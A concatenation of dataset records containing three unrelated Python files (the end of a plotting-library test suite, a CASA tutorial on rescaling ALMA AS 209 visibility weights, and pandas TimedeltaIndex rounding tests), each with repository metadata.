aplot_3.tight_layout()\n\n        self.image_name = \"image_uniplot_2_sharey_not_same_interval_for_y\"\n        self.check_plot()\n\n\n    def test_bi_plot(self):\n        aplot_4 = APlot(how=(2, 2))\n        aplot_4.bi_plot(0, 1, self.xx, self.yy, self.xx, self.yy)\n        aplot_4.uni_plot(2, self.xx, self.yy)\n        aplot_4.uni_plot(3, self.xx, self.yy)\n        aplot_4.tight_layout()\n\n        self.image_name = \"image_biplot\"\n        self.check_plot()\n\n    def test_uni_plot_ax_bis(self):\n        # two plots same figures\n        aplot_1 = APlot()\n        aplot_1.uni_plot(0, self.xx, self.yy + 5)\n        aplot_1.uni_plot_ax_bis(0, self.xx, np.exp(self.xx))\n\n        self.image_name = \"image_plot_bis\"\n        self.check_plot()\n\n    def test_cumulative_plot(self):\n        aplot = APlot()\n        values, base, _ = plt.hist(self.yy, bins=len(self.yy))\n        aplot.cumulative_plot(base, values, nb_ax=0)\n\n        self.image_name = \"image_cumulative_plot\"\n        self.check_plot()\n        pass\n\n    def test_hist(self):\n        aplot = APlot()\n        aplot.hist(self.yy)\n        self.image_name = \"plot_hist\"\n        self.check_plot()\n\n    def test_plot_function(self):\n        def f(x):\n            return 3 * x + 2 * x * x\n\n        aplot = APlot()\n        aplot.plot_function(f, self.xx)\n        self.image_name = \"image_plot_function\"\n        self.check_plot()\n\n\n    def test_plot_vertical_line(self):\n        aplot = APlot()\n        aplot.plot_vertical_line(x=1, yy=np.array([2, 4]))\n\n        self.image_name = \"image_vertical_line\"\n        self.check_plot()\n\n\n    def test_plot_line(self):\n        aplot = APlot()\n        aplot.plot_line(a=1, b=2, xx=self.xx)\n\n        self.image_name = \"image_line\"\n        self.check_plot()\n\n\n    def test_plot_point(self):\n        aplot = APlot()\n        aplot.plot_point(x=1, y=1, dict_plot_param={'markersize': 5})\n\n        self.image_name = \"image_point\"\n        self.check_plot()\n\n    def test_help_dict_plot(self):\n        pass\n\n    def test_help_dict_ax(self):\n        pass\n", "meta": {"hexsha": "ac407926b7ad4146a234b4810c647202af25b9cf", "size": 16953, "ext": "py", "lang": "Python", "max_stars_repo_path": "corai_plot/tests/test_aplot.py", "max_stars_repo_name": "Code-Cornelius/python_libraries", "max_stars_repo_head_hexsha": "71c388da60e2aeb94369c3813faca93bf6a18ebf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "corai_plot/tests/test_aplot.py", "max_issues_repo_name": "Code-Cornelius/python_libraries", "max_issues_repo_head_hexsha": "71c388da60e2aeb94369c3813faca93bf6a18ebf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "corai_plot/tests/test_aplot.py", "max_forks_repo_name": "Code-Cornelius/python_libraries", "max_forks_repo_head_hexsha": "71c388da60e2aeb94369c3813faca93bf6a18ebf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0467836257, "max_line_length": 108, "alphanum_fraction": 0.582964667, "include": true, "reason": "import numpy", "num_tokens": 4650, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.13660838651113866, "lm_q1q2_score": 0.06457252707159286}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.9.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + nbsphinx=\"hidden\"\n# %matplotlib inline\n\n# + nbsphinx=\"hidden\"\n# %run notebook_setup\n# -\n\n# # Walkthrough: Examining DSHARP AS 209 Weights and Exporting Visibilities\n#\n# In this walkthrough tutorial, we'll use CASA tools to examine the visibilities, visibility residuals, and weights of a real multi-configuration dataset from the DSHARP survey.\n#\n# ## Obtaining and CLEANing the AS 209 measurement set\n#\n# The calibrated measurement sets from the DSHARP data release are available [online](https://almascience.eso.org/almadata/lp/DSHARP/), and the full description of the survey is provided in [Andrews et al. 2018](https://ui.adsabs.harvard.edu/abs/2018ApJ...869L..41A/abstract).\n#\n# ### Model Visibilities and MODEL_DATA\n# In its simplest form, the measurement set just contains the visibility data in a ``DATA`` or ``CORRECTED_DATA`` column. In the process of using ``tclean`` to synthesize an image, however, CASA also calculates a set of model visibilities that correspond to the Fourier transform of the CLEAN model. It's possible to store these model visibilities to the measurement set if the ``tclean`` process was invoked with the ``savemodel=\"modelcolumn\"`` parameter. The model visibilities will be stored in a ``MODEL_DATA`` column with the same shape as the ``DATA`` column.\n#\n# The calibrated DSHARP measurement sets available from the archive do not contain this ``MODEL_DATA`` column (most likely for space reasons), so we will need to recreate them by running the ``tclean`` algorithm with the relevant settings. The full reduction scripts are [available online](https://almascience.eso.org/almadata/lp/DSHARP/scripts/AS209_continuum.py), but we just need reproduce the relevant ``tclean`` commands used to produce a FITS image from the final, calibrated measurement set.\n#\n# Because the measurement set is large (0.9 Gb) and the ``tclean`` process is computationally expensive (taking about 1 hr on a single core), we have pre-executed those commands and cached the measurement set and ``tclean`` products into the ``AS209_MS`` local directory. If you're interested in the exact ``tclean`` commands used, please check out the [dl_and_tclean_AS209.py](dl_and_tclean_AS209.py) script directly.\n\nimport re\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport os\n\nfrom traitlets.traitlets import validate\n\n# change to the cached subdirectory that contains the cleaned MS\nworkdir = \"AS209_MS\"\nos.chdir(workdir)\nfname = \"AS209_continuum.ms\"\nfitsname = \"AS209.fits\"\n\n# ### Visualizing the CLEANed image\n# Just to make sure the ``tclean`` process ran OK, let's check the synthesized image that was produced\n\nfrom astropy.io import fits\n\nhdul = fits.open(fitsname)\nheader = hdul[0].header\ndata = 1e3 * hdul[0].data  # mJy/pixel\n# get the coordinate labels\nnx = header[\"NAXIS1\"]\nny = header[\"NAXIS2\"]\n# RA coordinates\nCDELT1 = 3600 * header[\"CDELT1\"]  # arcsec (converted from decimal deg)\nCRPIX1 = header[\"CRPIX1\"] - 1.0  # Now indexed from 0\n# DEC coordinates\nCDELT2 = 3600 * header[\"CDELT2\"]  # arcsec\nCRPIX2 = header[\"CRPIX2\"] - 1.0  # Now indexed from 0\nRA = (np.arange(nx) - nx / 2) * CDELT1  # [arcsec]\nDEC = (np.arange(ny) - ny / 2) * CDELT2  # [arcsec]\n# extent needs to include extra half-pixels.\n# RA, DEC are pixel centers\next = (\n    RA[0] - CDELT1 / 2,\n    RA[-1] + CDELT1 / 2,\n    DEC[0] - CDELT2 / 2,\n    DEC[-1] + CDELT2 / 2,\n)  # [arcsec]\nnorm = matplotlib.colors.Normalize(vmin=0, vmax=np.max(data))\n\nfig, ax = plt.subplots(nrows=1, figsize=(4.5, 3.5))\nfig.subplots_adjust(left=0.2, bottom=0.2)\nim = ax.imshow(data, extent=ext, origin=\"lower\", animated=True, norm=norm)\ncb = plt.colorbar(im, label=\"mJy / pixel\")\nr = 2.2\nax.set_xlim(r, -r)\nax.set_ylim(-r, r)\nax.set_xlabel(r\"$\\Delta \\alpha \\cos \\delta$ [${}^{\\prime\\prime}$]\")\nax.set_ylabel(r\"$\\Delta \\delta$ [${}^{\\prime\\prime}$]\")\n\n# Great, it looks like things check out. Note that the main reason (at least for this tutorial) that we ran ``tclean`` was to generate the ``MODEL_DATA`` column in the measurement set. The actual CLEANed FITS image is just a nice byproduct.\n\n# ## Examining measurement set structure\n#\n# Before you dive into the full analysis with CASA tools, it's a very good idea to inspect the measurement set using [listobs](https://casa.nrao.edu/casadocs-devel/stable/global-task-list/task_listobs/about).\n#\n# After you've done that, let's start exploring the visibility values. First we'll need to import and then instantiate the relevant CASA tools, [table](https://casa.nrao.edu/casadocs-devel/stable/global-tool-list/tool_table/methods) and [ms](https://casa.nrao.edu/casadocs-devel/stable/global-tool-list/tool_ms/methods).\n\nimport casatools\n\ntb = casatools.table()\nms = casatools.ms()\n\n# We can get the indexes of the unique spectral windows, which are typically indexed by the ``DATA_DESC_ID``.\n\ntb.open(fname + \"/DATA_DESCRIPTION\")\nSPECTRAL_WINDOW_ID = tb.getcol(\"SPECTRAL_WINDOW_ID\")\ntb.close()\nprint(SPECTRAL_WINDOW_ID)\n\n# We see that there are 25 separate spectral windows! This is because the DSHARP images were produced using all available Band 6 continuum data on each source---not just the long baseline observations acquired in ALMA cycle 4. The merging of all of these individual observations is what creates this structure with so many spectral windows.\n\n# Next, let's open the main table of the measurement set and inspect the column names\n\ntb.open(fname)\ncolnames = tb.colnames()\ntb.close()\nprint(colnames)\n\n# Because there are multiple spectral windows which do not share the same dimensions, we cannot use the ``tb`` tool to read the data directly. If we try, we'll get an error.\n\ntry:\n    tb.open(fname)\n    weight = tb.getcol(\"WEIGHT\")  # array of float64 with shape [npol, nvis]\n    flag = tb.getcol(\"FLAG\")  # array of bool with shape [npol, nchan, nvis]\n    data = tb.getcol(\"DATA\")  # array of complex128 with shape [npol, nchan, nvis]\nexcept RuntimeError:\n    print(\n        \"We can't use table tools here... the spws have different numbers of channels\"\n    )\nfinally:\n    tb.close()\n\n# So, we'll need to use the ``ms`` tool to read the visibilities for each spectral window, like so\n\nms.open(fname)\n# select the spectral window\nms.selectinit(datadescid=0)\n# query the desired columnames as a list\nquery = ms.getdata([\"WEIGHT\", \"UVW\", \"DATA\"])\n# always a good idea to reset the earmarked data\nms.selectinit(reset=True)\nms.close()\n\n# The returned query is a dictionary whose keys are the lowercase column names\n\nprint(query.keys())\n\n# and whose values are the numerical arrays for the spectral window that we queried\n\nprint(query[\"data\"])\n\n\n# ## Using the tclean model to calculate residual visibilities\n#\n# In any data analysis where you're computing a forward model, it's a good consitency check to examine the data residuals from that model, and, in particular, whether their scatter matches the expectations from the noise properties.\n#\n# We can calculate data residuals using the model visibilities derived from the tclean model and stored in the ``MODEL_DATA`` column of the measurement set.\n\nms.open(fname)\n# select the spectral window\nms.selectinit(datadescid=0)\n# query the desired columnames as a list\nquery = ms.getdata([\"MODEL_DATA\"])\n# always a good idea to reset the earmarked data\nms.selectinit(reset=True)\nms.close()\n\nprint(query[\"model_data\"])\n\n# Using these model visibilities, let's calculate the residuals for each polarization (XX, YY) in units of $\\sigma$, where\n#\n# $$\n# \\sigma = \\mathrm{sigma\\_rescale} \\times \\sigma_0\n# $$\n#\n# and\n#\n# $$\n# \\sigma_0 = \\sqrt{1/w}\n# $$\n#\n# The scatter is defined as\n#\n# $$\n# \\mathrm{scatter} = \\frac{\\mathrm{DATA} - \\mathrm{MODEL\\_DATA}}{\\sigma}\n# $$\n#\n# For now, $\\mathrm{sigma\\_rescale} = 1$, but we'll see why this parameter is needed in a moment.\n\n# ### Helper functions for examining weight scatter\n# Because we'd like to repeat this analysis for each spectral window in the measurement set, it makes things easier if we write these calculations as functions.\n#\n# The functions provided in this document are only dependent on the CASA tools ``tb`` and ``ms``. If you find yourself using these routines frequently, you might consider installing the *visread* package, since similar commands are provided in the API.\n\n\ndef get_scatter_datadescid(datadescid, sigma_rescale=1.0, apply_flags=True):\n    \"\"\"\n    Calculate the scatter for each polarization.\n\n    Args:\n        datadescid (int): the DATA_DESC_ID to be queried\n        sigma_rescale (int):  multiply the uncertainties by this factor\n        apply_flags (bool): calculate the scatter *after* the flags have been applied\n\n    Returns:\n        scatter_XX, scatter_YY: a 2-tuple of numpy arrays containing the scatter in each polarization.\n        If ``apply_flags==True``, each array will be 1-dimensional. If ``apply_flags==False``, each array\n        will retain its original shape, including channelization (e.g., shape ``nchan,nvis``).\n    \"\"\"\n    ms.open(fname)\n    # select the key\n    ms.selectinit(datadescid=datadescid)\n    query = ms.getdata(\n        [\"DATA\", \"MODEL_DATA\", \"WEIGHT\", \"UVW\", \"ANTENNA1\", \"ANTENNA2\", \"FLAG\"]\n    )\n    ms.selectinit(reset=True)\n    ms.close()\n\n    data, model_data, weight, flag = (\n        query[\"data\"],\n        query[\"model_data\"],\n        query[\"weight\"],\n        query[\"flag\"],\n    )\n\n    assert (\n        len(model_data) > 0\n    ), \"MODEL_DATA column empty, retry tclean with savemodel='modelcolumn'\"\n\n    # subtract model from data\n    residuals = data - model_data\n\n    # calculate sigma from weight\n    sigma = np.sqrt(1 / weight)\n    sigma *= sigma_rescale\n\n    # divide by weight, augmented for channel dim\n    scatter = residuals / sigma[:, np.newaxis, :]\n\n    # separate polarizations\n    scatter_XX, scatter_YY = scatter\n    flag_XX, flag_YY = flag\n\n    if apply_flags:\n        # flatten across channels\n        scatter_XX = scatter_XX[~flag_XX]\n        scatter_YY = scatter_YY[~flag_YY]\n\n    return scatter_XX, scatter_YY\n\n\ndef gaussian(x, sigma=1):\n    r\"\"\"\n    Evaluate a reference Gaussian as a function of :math:`x`\n\n    Args:\n        x (float): location to evaluate Gaussian\n\n    The Gaussian is defined as\n\n    .. math::\n\n        f(x) = \\frac{1}{\\sqrt{2 \\pi}} \\exp \\left ( -\\frac{x^2}{2}\\right )\n\n    Returns:\n        Gaussian function evaluated at :math:`x`\n    \"\"\"\n    return 1 / (sigma * np.sqrt(2 * np.pi)) * np.exp(-0.5 * (x / sigma) ** 2)\n\n\ndef scatter_hist(scatter_XX, scatter_YY, log=False, **kwargs):\n    \"\"\"\n    Plot a normalized histogram of scatter for real and imaginary\n    components of XX and YY polarizations.\n\n    Args:\n        scatter_XX (1D numpy array)\n        scatter_YY (1D numpy array)\n\n    Returns:\n        matplotlib figure\n    \"\"\"\n    xs = np.linspace(-5, 5)\n\n    figsize = kwargs.get(\"figsize\", (6, 6))\n    bins = kwargs.get(\"bins\", 40)\n\n    fig, ax = plt.subplots(ncols=2, nrows=2, figsize=figsize)\n    ax[0, 0].hist(scatter_XX.real, bins=bins, density=True, log=log)\n    ax[0, 0].set_xlabel(\n        r\"$\\Re \\{ V_\\mathrm{XX} - \\bar{V}_\\mathrm{XX} \\} / \\sigma_\\mathrm{XX}$\"\n    )\n    ax[0, 1].hist(scatter_XX.imag, bins=bins, density=True, log=log)\n    ax[0, 1].set_xlabel(\n        r\"$\\Im \\{ V_\\mathrm{XX} - \\bar{V}_\\mathrm{XX} \\} / \\sigma_\\mathrm{XX}$\"\n    )\n\n    ax[1, 0].hist(scatter_YY.real, bins=bins, density=True, log=log)\n    ax[1, 0].set_xlabel(\n        r\"$\\Re \\{ V_\\mathrm{YY} - \\bar{V}_\\mathrm{YY} \\} / \\sigma_\\mathrm{YY}$\"\n    )\n    ax[1, 1].hist(scatter_YY.imag, bins=bins, density=True, log=log)\n    ax[1, 1].set_xlabel(\n        r\"$\\Im \\{ V_\\mathrm{YY} - \\bar{V}_\\mathrm{YY} \\} / \\sigma_\\mathrm{YY}$\"\n    )\n\n    for a in ax.flatten():\n        a.plot(xs, gaussian(xs))\n\n    fig.subplots_adjust(hspace=0.25, top=0.92)\n\n    return fig\n\n\ndef plot_histogram_datadescid(\n    datadescid, sigma_rescale=1.0, log=False, apply_flags=True\n):\n    \"\"\"Wrap the scatter routine to plot a histogram of scatter for real and imaginary components of XX and YY polarizations, given a ``DATA_DESC_ID``.\n\n    Args:\n        datadescid (int): the DATA_DESC_ID to be queried\n        sigma_rescale (int):  multiply the uncertainties by this factor\n        log (bool): plot the histogram with a log stretch\n        apply_flags (bool): calculate the scatter *after* the flags have been applied\n\n\n    Returns:\n        matplotlib figure\n    \"\"\"\n\n    scatter_XX, scatter_YY = get_scatter_datadescid(\n        datadescid=datadescid, sigma_rescale=sigma_rescale, apply_flags=apply_flags\n    )\n\n    scatter_XX = scatter_XX.flatten()\n    scatter_YY = scatter_YY.flatten()\n\n    fig = scatter_hist(scatter_XX, scatter_YY, log=log)\n    fig.suptitle(\"DATA_DESC_ID: {:}\".format(datadescid))\n\n\n# ## Checking scatter for each spectral window\n# Now lets use our helper functions to investigate the characteristics of each spectral window.\n\n# ### Spectral Window 7: A correctly scaled SPW\n# Let's see how the residual visibilities in spectral window 7 scatter relative to their expected Gaussian envelope\n\nplot_histogram_datadescid(7, apply_flags=False)\n\n# Great, it looks like things are pretty much as we would expect here.\n\n# ### Spectral Window 22: Visibility outliers\n# In the last example, we were a little bit cavalier and plotted the residuals for *all* visibilities, regardless of whether their ``FLAG`` was true. If we do the same for the visibilities in spectral window 22,\n\nplot_histogram_datadescid(22, apply_flags=False)\n\n# We find that something looks a little bit strange. Let's try plotting things on a log scale to get a closer look.\n\nplot_histogram_datadescid(22, apply_flags=False, log=True)\n\n# It appears as though there are a bunch of \"outlier\" visibilities included in this spectral window (the histogram y-axis is the relative frequency or probability density, so in actually there are a relatively small number of outlier visibilities). If the calibration and data preparation processes were done correctly, most likely, these visibilities are actually flagged. Let's try plotting only the valid, unflagged, visibilities\n\nplot_histogram_datadescid(22, apply_flags=True, log=True)\n\n# This is certainly an improvement, it looks like all of the egregious outlier visibilities were correctly flagged. However, we also see that the scatter in the visibility residuals is overdispersed relative to the envelope we would expect from the supplied weights. Plotting this on a normal scale might make the discrepancy more visible\n\nplot_histogram_datadescid(22, apply_flags=True, log=False)\n\n# Lets write a routine to estimate by how much the $\\sigma_0$ values would need to be rescaled in order for the residual visibility scatter to match the expected reference Gaussian.\n\nfrom scipy.optimize import minimize\n\n\ndef calculate_rescale_factor(scatter, **kwargs):\n    bins = kwargs.get(\"bins\", 40)\n    bin_heights, bin_edges = np.histogram(scatter, density=True, bins=bins)\n    bin_centers = bin_edges[:-1] + np.diff(bin_edges) / 2\n\n    # find the sigma_rescale which minimizes the mean squared error\n    # between the bin_heights and the expectations from the\n    # reference Gaussian\n\n    loss = lambda x: np.sum((bin_heights - gaussian(bin_centers, sigma=x)) ** 2)\n\n    res = minimize(loss, 1.0)\n\n    if res.success:\n        return res.x[0]\n    else:\n        print(res)\n        return False\n\n\ndef get_sigma_rescale_datadescid(datadescid, **kwargs):\n    scatter_XX, scatter_YY = get_scatter_datadescid(\n        datadescid, apply_flags=True, **kwargs\n    )\n    vals = np.array(\n        [\n            calculate_rescale_factor(scatter)\n            for scatter in [\n                scatter_XX.real,\n                scatter_XX.imag,\n                scatter_YY.real,\n                scatter_YY.imag,\n            ]\n        ]\n    )\n\n    return np.average(vals)\n\n\nfactor = get_sigma_rescale_datadescid(22)\nprint(factor)\n\n# If we rescale the $\\sigma$ values to make them a factor of $\\sim 1.85$ larger it looks like we are able to make the distributions match up a little bit better.\n\nplot_histogram_datadescid(22, sigma_rescale=factor, apply_flags=True, log=False)\n\n# It's not really clear why this factor works, but factors of $\\sqrt{2}$ and 2 appear in changes to the CASA weight calculations ([which have changed across recent CASA versions](https://casa.nrao.edu/casadocs-devel/stable/calibration-and-visibility-data/data-weights)). Since this DSHARP measurement set contains visibilities acquired in previous ALMA cycles (and potentially calibrated with earlier versions of CASA), these changes in weight definitions may be responsible for the varying weight scatter across spectral window.\n#\n# To investigate the overdispersion in spectral window 22, lets plot up the rescaled visibilities in the $u,v$ plane, colorized by their residual values to see if we can discern any patterns that may be the result of an inadequate calibration or CLEAN model.\n\n# get the baselines and flags for spectral window 22\nms.open(fname)\n# select the key\nms.selectinit(datadescid=22)\nquery = ms.getdata([\"UVW\", \"FLAG\"])\nms.selectinit(reset=True)\nms.close()\n\nflag_XX, flag_YY = query[\"flag\"]\nu, v, w = query[\"uvw\"] * 1e-3  # [km]\n\n# calculate the scatter of the residual visibilities\nscatter_XX, scatter_YY = get_scatter_datadescid(\n    22, sigma_rescale=factor, apply_flags=False\n)\n\n# Let's check the array shapes of each of these.\n\nprint(flag_XX.shape)\nprint(scatter_XX.shape)\nprint(u.shape)\n\n# If we want to correctly apply the flags, we'll need to broadcast the baseline arrays to the full set of channels. (Even though this is a continuum dataset, it does have more than one channel to prevent bandwidth smearing).\n\nnchan = flag_XX.shape[0]\nbroadcast = np.ones((nchan, 1))\nuu = u * broadcast\nvv = v * broadcast\n\n# Now we index the \"good\" visibilities\n\nuu_XX = uu[~flag_XX]\nvv_XX = vv[~flag_YY]\nscatter_XX = scatter_XX[~flag_XX]\n\nuu_YY = uu[~flag_YY]\nvv_YY = vv[~flag_YY]\nscatter_YY = scatter_YY[~flag_YY]\n\nvvmax = 5\nnorm = matplotlib.colors.Normalize(vmin=-vvmax, vmax=vvmax)\n\nfig, ax = plt.subplots(nrows=1, figsize=(4, 4))\nax.scatter(uu_XX, vv_XX, s=0.1, c=scatter_XX.real, cmap=\"bwr\", norm=norm)\nim = ax.scatter(uu_YY, vv_YY, s=0.1, c=scatter_YY.real, cmap=\"bwr\", norm=norm)\nplt.colorbar(im, ax=ax)\nax.set_title(\"SPW: {:}\".format(22))\nax.set_aspect(\"equal\")\nax.set_xlabel(r\"$u$ [km]\")\nax.set_ylabel(r\"$v$ [km]\")\n\n# We don't appear to see any large scale pattern with baseline, suggesting that the CLEAN model is doing a reasonable job of fitting the data across many spatial scales. We do see some of the largest outliers (most blue/red) at the beginning (or end) of the tracks. This probably has something to do with a less-than-optimal calibration at the beginning (or end) of the observation. Since there are no large systematic trends with baseline, we'll just accept these rescaled weights as is.\n\n# ## Rescaling weights for export.\n# We can use the previous routines to iterate through plots of each spectral window. For reference, here are the rescale factors we derived for each spectral window\n\nsigma_rescale_factors = {\n    ID: get_sigma_rescale_datadescid(ID) for ID in SPECTRAL_WINDOW_ID\n}\nfor ID in SPECTRAL_WINDOW_ID:\n    print(ID, \"{:.2f}\".format(sigma_rescale_factors[ID]))\n\n# If you wanted to use these visibilities for forward modeling or [Regularized Maximum Likelihood (RML) imaging](https://mpol-dev.github.io/MPoL/), you will want to read and export the correctly flagged and rescaled visibilities and convert baselines to kilolambda.", "meta": {"hexsha": "c445fb97c0021084e94a13ba5fb1e015c4183b9e", "size": 19651, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/tutorials/rescale_AS209_weights.py", "max_stars_repo_name": "MPoL-dev/visreader", "max_stars_repo_head_hexsha": "c43a8faa54b15a89745c52fbbbd36ced221a5dde", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/tutorials/rescale_AS209_weights.py", "max_issues_repo_name": "MPoL-dev/visreader", "max_issues_repo_head_hexsha": "c43a8faa54b15a89745c52fbbbd36ced221a5dde", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-05-24T23:58:32.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-26T14:52:43.000Z", "max_forks_repo_path": "docs/tutorials/rescale_AS209_weights.py", "max_forks_repo_name": "MPoL-dev/visreader", "max_forks_repo_head_hexsha": "c43a8faa54b15a89745c52fbbbd36ced221a5dde", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.4341563786, "max_line_length": 565, "alphanum_fraction": 0.7187929367, "include": true, "reason": "import numpy,from scipy,from astropy", "num_tokens": 5183, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.14223189500989633, "lm_q1q2_score": 0.06446829157891598}}
{"text": "\"\"\"\nTests for TimedeltaIndex methods behaving like their Timedelta counterparts\n\"\"\"\n\nimport numpy as np\nimport pytest\n\nfrom pandas._libs.tslibs.offsets import INVALID_FREQ_ERR_MSG\n\nimport pandas as pd\nfrom pandas import Index, Series, Timedelta, TimedeltaIndex, timedelta_range\nimport pandas._testing as tm\n\n\nclass TestVectorizedTimedelta:\n    def test_tdi_total_seconds(self):\n        # GH#10939\n        # test index\n        rng = timedelta_range(\"1 days, 10:11:12.100123456\", periods=2, freq=\"s\")\n        expt = [\n            1 * 86400 + 10 * 3600 + 11 * 60 + 12 + 100123456.0 / 1e9,\n            1 * 86400 + 10 * 3600 + 11 * 60 + 13 + 100123456.0 / 1e9,\n        ]\n        tm.assert_almost_equal(rng.total_seconds(), Index(expt))\n\n        # test Series\n        ser = Series(rng)\n        s_expt = Series(expt, index=[0, 1])\n        tm.assert_series_equal(ser.dt.total_seconds(), s_expt)\n\n        # with nat\n        ser[1] = np.nan\n        s_expt = Series(\n            [1 * 86400 + 10 * 3600 + 11 * 60 + 12 + 100123456.0 / 1e9, np.nan],\n            index=[0, 1],\n        )\n        tm.assert_series_equal(ser.dt.total_seconds(), s_expt)\n\n        # with both nat\n        ser = Series([np.nan, np.nan], dtype=\"timedelta64[ns]\")\n        tm.assert_series_equal(\n            ser.dt.total_seconds(), Series([np.nan, np.nan], index=[0, 1])\n        )\n\n    def test_tdi_round(self):\n        td = pd.timedelta_range(start=\"16801 days\", periods=5, freq=\"30Min\")\n        elt = td[1]\n\n        expected_rng = TimedeltaIndex(\n            [\n                Timedelta(\"16801 days 00:00:00\"),\n                Timedelta(\"16801 days 00:00:00\"),\n                Timedelta(\"16801 days 01:00:00\"),\n                Timedelta(\"16801 days 02:00:00\"),\n                Timedelta(\"16801 days 02:00:00\"),\n            ]\n        )\n        expected_elt = expected_rng[1]\n\n        tm.assert_index_equal(td.round(freq=\"H\"), expected_rng)\n        assert elt.round(freq=\"H\") == expected_elt\n\n        msg = INVALID_FREQ_ERR_MSG\n        with pytest.raises(ValueError, match=msg):\n            td.round(freq=\"foo\")\n        with pytest.raises(ValueError, match=msg):\n            elt.round(freq=\"foo\")\n\n        msg = \"<MonthEnd> is a non-fixed frequency\"\n        with pytest.raises(ValueError, match=msg):\n            td.round(freq=\"M\")\n        with pytest.raises(ValueError, match=msg):\n            elt.round(freq=\"M\")\n\n    @pytest.mark.parametrize(\n        \"freq,msg\",\n        [\n            (\"Y\", \"<YearEnd: month=12> is a non-fixed frequency\"),\n            (\"M\", \"<MonthEnd> is a non-fixed frequency\"),\n            (\"foobar\", \"Invalid frequency: foobar\"),\n        ],\n    )\n    def test_tdi_round_invalid(self, freq, msg):\n        t1 = timedelta_range(\"1 days\", periods=3, freq=\"1 min 2 s 3 us\")\n\n        with pytest.raises(ValueError, match=msg):\n            t1.round(freq)\n        with pytest.raises(ValueError, match=msg):\n            # Same test for TimedeltaArray\n            t1._data.round(freq)\n\n    # TODO: de-duplicate with test_tdi_round\n    def test_round(self):\n        t1 = timedelta_range(\"1 days\", periods=3, freq=\"1 min 2 s 3 us\")\n        t2 = -1 * t1\n        t1a = timedelta_range(\"1 days\", periods=3, freq=\"1 min 2 s\")\n        t1c = TimedeltaIndex([1, 1, 1], unit=\"D\")\n\n        # note that negative times round DOWN! so don't give whole numbers\n        for (freq, s1, s2) in [\n            (\"N\", t1, t2),\n            (\"U\", t1, t2),\n            (\n                \"L\",\n                t1a,\n                TimedeltaIndex(\n                    [\"-1 days +00:00:00\", \"-2 days +23:58:58\", \"-2 days +23:57:56\"]\n                ),\n            ),\n            (\n                \"S\",\n                t1a,\n                TimedeltaIndex(\n                    [\"-1 days +00:00:00\", \"-2 days +23:58:58\", \"-2 days +23:57:56\"]\n                ),\n            ),\n            (\"12T\", t1c, TimedeltaIndex([\"-1 days\", \"-1 days\", \"-1 days\"])),\n            (\"H\", t1c, TimedeltaIndex([\"-1 days\", \"-1 days\", \"-1 days\"])),\n            (\"d\", t1c, TimedeltaIndex([-1, -1, -1], unit=\"D\")),\n        ]:\n\n            r1 = t1.round(freq)\n            tm.assert_index_equal(r1, s1)\n            r2 = t2.round(freq)\n            tm.assert_index_equal(r2, s2)\n\n    def test_components(self):\n        rng = timedelta_range(\"1 days, 10:11:12\", periods=2, freq=\"s\")\n        rng.components\n\n        # with nat\n        s = Series(rng)\n        s[1] = np.nan\n\n        result = s.dt.components\n        assert not result.iloc[0].isna().all()\n        assert result.iloc[1].isna().all()\n", "meta": {"hexsha": "6a2238d90b590836118bdfad37bb8394b6566915", "size": 4510, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/indexes/timedeltas/test_scalar_compat.py", "max_stars_repo_name": "gabriellm1/pandas", "max_stars_repo_head_hexsha": "020040b3b92516b445ddd8daba3b9818340e82d4", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-29T17:32:26.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-29T17:32:26.000Z", "max_issues_repo_path": "pandas/tests/indexes/timedeltas/test_scalar_compat.py", "max_issues_repo_name": "gabriellm1/pandas", "max_issues_repo_head_hexsha": "020040b3b92516b445ddd8daba3b9818340e82d4", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas/tests/indexes/timedeltas/test_scalar_compat.py", "max_forks_repo_name": "gabriellm1/pandas", "max_forks_repo_head_hexsha": "020040b3b92516b445ddd8daba3b9818340e82d4", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-07-17T19:28:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-28T17:14:58.000Z", "avg_line_length": 32.6811594203, "max_line_length": 83, "alphanum_fraction": 0.5257206208, "include": true, "reason": "import numpy", "num_tokens": 1229, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.13296424019782926, "lm_q1q2_score": 0.06440522987284973}}
